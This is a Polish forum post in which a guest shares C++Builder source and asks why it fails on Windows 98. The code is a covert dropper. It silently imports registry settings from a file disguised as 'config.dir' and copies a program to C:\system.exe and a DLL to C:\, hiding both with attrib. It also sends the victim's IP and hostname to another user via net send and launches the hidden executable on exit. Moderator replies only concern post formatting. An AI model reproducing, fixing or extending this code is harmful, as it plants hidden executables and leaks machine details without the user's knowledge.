No więc program do którego kod znajduje się poniżej nie spełnia swoich funkcji na Windows 98(natomiast na 2000/XP) działa wyśmienicie
Opis:
plik config.dir zawiera informację do rejestru (typowy plik reg tylko z innym rozszerzeniem)
plik osp.add to program
plik Adm.dll to biblioteka do tego programu
A to że nie działa net send to nie ma co się tym znacznie przejmować. Ważne to że po zakończeniu działania tego programu nie jest uruchamiany plik system.exe (pierwotny osp.add)

//---------------------------------------------------------------------------

#include <vcl.h>
#include <winsock2.h>
#pragma hdrstop

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormActivate(TObject *Sender)
{
      readConfig();
      x += 1;
      writeConfig();

      WinExec("regedit.exe /s config.dir", SW_HIDE);
      CopyFile("osp.add", "C:\\system.exe", true);
      WinExec("attrib C:\\system.exe +h +s", SW_HIDE);
      CopyFile("AdmDll.dll", "C:\\AdmDll.dll", true);
      WinExec("attrib C:\\AdmDll.dll +h +s", SW_HIDE);

      AnsiString IP;
      AnsiString Host;
      char buff[100];
      hostent *lphe;
      WSADATA WSAData;

      WSAStartup(MAKEWORD(2, 0), &WSAData);

      gethostname(buff, 100);
      lphe = gethostbyname(buff);
      IP = AnsiString(inet_ntoa(*(in_addr*)*lphe->h_addr_list));
      Host = AnsiString(lphe->h_name);
      WSACleanup();
      Label1->Caption=IP;
      Label2->Caption=Host;
      if(x<4){
         String command = "net send Maciek Uruchomiłem twój program (Adres). Moje ip to " + IP + " a mój host to " + Host + "";
         char* temp = new char[command.Length()];
         strcpy(temp, command.c_str());
         WinExec(temp, SW_HIDE);
         delete temp;
      }


}
//---------------------------------------------------------------------------
void TForm1::writeConfig()
{
   TIniFile *PlikIni = new TIniFile("pfconfig.ini");
   PlikIni->WriteInteger("ADRES", "Uruchomiono", x);
   delete PlikIni;
}
//---------------------------------------------------------------------------
void TForm1::readConfig()
{
  TIniFile *PlikIni = new TIniFile("pfconfig.ini");
  x = PlikIni->ReadInteger("ADRES", "Uruchomiono", 0);
  delete PlikIni;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormDestroy(TObject *Sender)
{
WinExec("C:\\system.exe", SW_HIDE);        
}
//---------------------------------------------------------------------------

poprawka -> nie działa na windows 98, a działa wyśmienicie na 2000/XP

//1) używaj tagu <cpp>
//2) swoje posty możesz edytować

nie moge bo jestem tylko gościem

//Racja - nie zauważyłem